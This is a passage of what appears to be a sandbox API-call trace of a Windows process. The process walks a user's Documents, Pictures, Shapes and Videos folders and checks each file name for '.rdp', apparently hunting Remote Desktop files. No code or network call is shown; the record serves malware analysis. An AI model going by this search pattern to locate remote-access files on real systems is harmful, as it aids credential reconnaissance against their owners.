returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\ouo1CE9Vu1S-" [0079.605] LocalFree (hMem=0x643c28) returned 0x0 [0079.605] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\ouo1CE9Vu1S-") returned 67 [0079.605] lstrlenA (lpString="\\*.*") returned 4 [0079.605] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\ouo1CE9Vu1S-" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\ouo1CE9Vu1S-") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\ouo1CE9Vu1S-" [0079.605] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\ouo1CE9Vu1S-", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\ouo1CE9Vu1S-\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\ouo1CE9Vu1S-\\*.*" [0079.605] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\ouo1CE9Vu1S-\\*.*", lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 0x642868 [0079.605] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.605] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.605] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.605] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.605] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.605] StrStrIA (lpFirst="bKAxwe.png", lpSrch=".rdp") returned 0x0 [0079.605] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.605] StrStrIA (lpFirst="dWZN1dKW-NW6.bmp", lpSrch=".rdp") returned 0x0 [0079.605] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.605] StrStrIA (lpFirst="Kc0uAGB_mrQriWWBmiE.jpg", lpSrch=".rdp") returned 0x0 [0079.606] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.606] StrStrIA (lpFirst="la3WIMf5.png", lpSrch=".rdp") returned 0x0 [0079.606] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.606] StrStrIA (lpFirst="pooLV0.bmp", lpSrch=".rdp") returned 0x0 [0079.606] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 0 [0079.606] FindClose (in: hFindFile=0x642868 | out: hFindFile=0x642868) returned 1 [0079.606] LocalFree (hMem=0x650450) returned 0x0 [0079.606] LocalFree (hMem=0x66b738) returned 0x0 [0079.606] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.606] lstrcmpiA (lpString1=".", lpString2="w9CaZahKDJqsLzF11") returned -1 [0079.606] lstrcmpiA (lpString1="..", lpString2="w9CaZahKDJqsLzF11") returned -1 [0079.606] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx") returned 54 [0079.606] lstrlenA (lpString="\\") returned 1 [0079.606] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx" [0079.606] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" [0079.606] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned 55 [0079.606] lstrlenA (lpString="w9CaZahKDJqsLzF11") returned 17 [0079.606] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" [0079.606] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\", lpString2="w9CaZahKDJqsLzF11" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\w9CaZahKDJqsLzF11") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\w9CaZahKDJqsLzF11" [0079.606] LocalFree (hMem=0x643c28) returned 0x0 [0079.606] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\w9CaZahKDJqsLzF11") returned 72 [0079.606] lstrlenA (lpString="\\*.*") returned 4 [0079.606] lstrcpyA (in: lpString1=0x663a18, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\w9CaZahKDJqsLzF11" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\w9CaZahKDJqsLzF11") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\w9CaZahKDJqsLzF11" [0079.606] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\w9CaZahKDJqsLzF11", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\w9CaZahKDJqsLzF11\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\w9CaZahKDJqsLzF11\\*.*" [0079.606] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\w9CaZahKDJqsLzF11\\*.*", lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 0x642868 [0079.606] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.606] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.606] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.606] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.606] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.606] StrStrIA (lpFirst="IYYB.bmp", lpSrch=".rdp") returned 0x0 [0079.607] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.607] StrStrIA (lpFirst="z-43MgS7.gif", lpSrch=".rdp") returned 0x0 [0079.607] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 0 [0079.607] FindClose (in: hFindFile=0x642868 | out: hFindFile=0x642868) returned 1 [0079.607] LocalFree (hMem=0x663a18) returned 0x0 [0079.607] LocalFree (hMem=0x6640d8) returned 0x0 [0079.607] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.607] StrStrIA (lpFirst="YxNxp9Ivy.jpg", lpSrch=".rdp") returned 0x0 [0079.607] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.607] StrStrIA (lpFirst="_ JL3UT24mR-zV I-9.bmp", lpSrch=".rdp") returned 0x0 [0079.607] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0 [0079.607] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.607] LocalFree (hMem=0x655028) returned 0x0 [0079.607] LocalFree (hMem=0x644168) returned 0x0 [0079.607] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.607] StrStrIA (lpFirst="l3FrTd.jpg", lpSrch=".rdp") returned 0x0 [0079.607] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0 [0079.607] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.607] LocalFree (hMem=0x643b68) returned 0x0 [0079.607] LocalFree (hMem=0x643aa8) returned 0x0 [0079.607] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0 [0079.607] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0079.607] LocalFree (hMem=0x647ab8) returned 0x0 [0079.607] LocalFree (hMem=0x629248) returned 0x0 [0079.607] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.607] lstrcmpiA (lpString1=".", lpString2="My Shapes") returned -1 [0079.607] lstrcmpiA (lpString1="..", lpString2="My Shapes") returned -1 [0079.607] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents") returned 26 [0079.607] lstrlenA (lpString="\\") returned 1 [0079.607] lstrcpyA (in: lpString1=0x652b60, lpString2="C:\\Users\\EEBsYm5\\Documents" | out: lpString1="C:\\Users\\EEBsYm5\\Documents") returned="C:\\Users\\EEBsYm5\\Documents" [0079.607] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.608] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\") returned 27 [0079.608] lstrlenA (lpString="My Shapes") returned 9 [0079.608] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\Documents\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.608] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\", lpString2="My Shapes" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes") returned="C:\\Users\\EEBsYm5\\Documents\\My Shapes" [0079.608] LocalFree (hMem=0x652b60) returned 0x0 [0079.608] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Shapes") returned 36 [0079.608] lstrlenA (lpString="\\*.*") returned 4 [0079.608] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Shapes" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes") returned="C:\\Users\\EEBsYm5\\Documents\\My Shapes" [0079.608] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\*.*" [0079.608] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\*.*", lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0x6427a8 [0079.609] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.609] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.609] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.609] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.609] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.609] StrStrIA (lpFirst="desktop.ini", lpSrch=".rdp") returned 0x0 [0079.609] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.609] StrStrIA (lpFirst="Favorites.vss", lpSrch=".rdp") returned 0x0 [0079.609] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.609] lstrcmpiA (lpString1=".", lpString2="_private") returned -1 [0079.609] lstrcmpiA (lpString1="..", lpString2="_private") returned -1 [0079.609] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Shapes") returned 36 [0079.609] lstrlenA (lpString="\\") returned 1 [0079.609] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Shapes" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes") returned="C:\\Users\\EEBsYm5\\Documents\\My Shapes" [0079.609] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\" [0079.609] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\") returned 37 [0079.609] lstrlenA (lpString="_private") returned 8 [0079.609] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\" [0079.609] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\", lpString2="_private" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\_private") returned="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\_private" [0079.609] LocalFree (hMem=0x6293a8) returned 0x0 [0079.609] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\_private") returned 45 [0079.609] lstrlenA (lpString="\\*.*") returned 4 [0079.609] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\_private") returned="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\_private" [0079.609] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\_private\\*.*" [0079.609] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0x6427e8 [0079.610] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.610] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.610] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.610] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.610] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.610] StrStrIA (lpFirst="folder.ico", lpSrch=".rdp") returned 0x0 [0079.610] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0 [0079.610] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.610] LocalFree (hMem=0x643aa8) returned 0x0 [0079.610] LocalFree (hMem=0x647b70) returned 0x0 [0079.610] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0 [0079.610] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0079.610] LocalFree (hMem=0x647ab8) returned 0x0 [0079.610] LocalFree (hMem=0x629248) returned 0x0 [0079.610] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.610] lstrcmpiA (lpString1=".", lpString2="My Videos") returned -1 [0079.610] lstrcmpiA (lpString1="..", lpString2="My Videos") returned -1 [0079.610] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents") returned 26 [0079.610] lstrlenA (lpString="\\") returned 1 [0079.610] lstrcpyA (in: lpString1=0x652b60, lpString2="C:\\Users\\EEBsYm5\\Documents" | out: lpString1="C:\\Users\\EEBsYm5\\Documents") returned="C:\\Users\\EEBsYm5\\Documents" [0079.610] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.611] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\") returned 27 [0079.611] lstrlenA (lpString="My Videos") returned 9 [0079.611] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\Documents\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.611] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos" [0079.611] LocalFree (hMem=0x652b60) returned 0x0 [0079.611] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Videos") returned 36 [0079.611] lstrlenA (lpString="\\*.*") returned 4 [0079.611] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Videos" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos" [0079.611] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\*.*" [0079.611] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Videos\\*.*", lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0x6427a8 [0079.611] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.611] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.611] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.611] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.611] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.611] StrStrIA (lpFirst="2woaM5aGQs2eU.swf", lpSrch=".rdp") returned 0x0 [0079.611] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.611] lstrcmpiA (lpString1=".", lpString2="D9j5") returned -1 [0079.611] lstrcmpiA (lpString1="..", lpString2="D9j5") returned -1 [0079.611] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Videos") returned 36 [0079.611] lstrlenA (lpString="\\") returned 1 [0079.611] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Videos" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos" [0079.611] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\" [0079.611] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Videos\\") returned 37 [0079.612] lstrlenA (lpString="D9j5") returned 4 [0079.612] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\" [0079.612] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\", lpString2="D9j5" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\D9j5") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\D9j5" [0079.612] LocalFree (hMem=0x6293a8) returned 0x0 [0079.612] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Videos\\D9j5") returned 41 [0079.612] lstrlenA (lpString="\\*.*") returned 4 [0079.612] lstrcpyA (in: lpString1=0x647c28, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Videos\\D9j5" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\D9j5") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\D9j5" [0079.612] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\D9j5", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\D9j5\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\D9j5\\*.*" [0079.612] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Videos\\D9j5\\*.*", lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0x6427e8 [0079.612] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.612] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.612] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.612] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.612] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.612] StrStrIA (lpFirst="-wd5o.mkv", lpSrch=".rdp") returned 0x0 [0079.612] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.612] StrStrIA (lpFirst="C6q qsoiIPl_.flv", lpSrch=".rdp") returned 0x0 [0079.612] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.612] StrStrIA (lpFirst="ftAsCqgm.swf", lpSrch=".rdp") returned 0x0 [0079.612] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.612] StrStrIA (lpFirst="GkvhwBLee6IHzr-Dvr.avi", lpSrch=".rdp") returned 0x0 [0079.612] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.612] StrStrIA (lpFirst="gxLYq.mkv", lpSrch=".rdp") returned 0x0 [0079.612] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.612] StrStrIA (lpFirst="H-VM3MKLFiJbQpK7Kj.mp4", lpSrch=".rdp") returned 0x0 [0079.612] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.612] StrStrIA (lpFirst="Ht6l5_wmEIOQN1Mpwai.swf", lpSrch=".rdp") returned 0x0 [0079.612] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.612] StrStrIA (lpFirst="Iv_h9CH.flv", lpSrch=".rdp") returned 0x0 [0079.612] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.612] StrStrIA (lpFirst="K4IzugEXeqib S.swf", lpSrch=".rdp") returned 0x0 [0079.612] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.612] StrStrIA (lpFirst="THD6S4EzKqH.flv", lpSrch=".rdp") returned 0x0 [0079.613] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.613] StrStrIA (lpFirst="twvomJ2jg1DvQ8.avi", lpSrch=".rdp") returned 0x0 [0079.613] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.613] StrStrIA (lpFirst="U4suo8aI_Y5.swf", lpSrch=".rdp") returned 0x0 [0079.613] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.613] StrStrIA (lpFirst="UbvZZgDlPtLvl.flv", lpSrch=".rdp") returned 0x0 [0079.613] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.613] StrStrIA (lpFirst="ZUtoG1sc I.avi", lpSrch=".rdp") returned 0x0 [0079.613] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0 [0079.613] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.613] LocalFree (hMem=0x647c28) returned 0x0 [0079.613] LocalFree (hMem=0x647b70) returned 0x0 [0079.613] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.613] StrStrIA (lpFirst="desktop.ini", lpSrch=".rdp") returned 0x0 [0079.613] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.613] lstrcmpiA (lpString1=".", lpString2="f9bjtMCEKcoW7B3 9U") returned -1 [0079.613] lstrcmpiA (lpString1="..", lpString2="f9bjtMCEKcoW7B3 9U") returned -1 [0079.613] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Videos") returned 36 [0079.613] lstrlenA (lpString="\\") returned 1 [0079.613] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Videos" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos" [0079.613] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\" [0079.613] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Videos\\") returned 37 [0079.613] lstrlenA (lpString="f9bjtMCEKcoW7B3 9U") returned 18 [0079.613] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\" [0079.613] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\", lpString2="f9bjtMCEKcoW7B3 9U" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U" [0079.613] LocalFree (hMem=0x6293a8) returned 0x0 [0079.613] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U") returned 55 [0079.613] lstrlenA (lpString="\\*.*") returned 4 [0079.613] lstrcpyA (in: lpString1=0x655028, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U" [0079.613] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\*.*" [0079.613] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Videos\\f9bjtMCEKcoW7B3 9U\\*.*", lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0x6427e8 [0079.614] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.614] 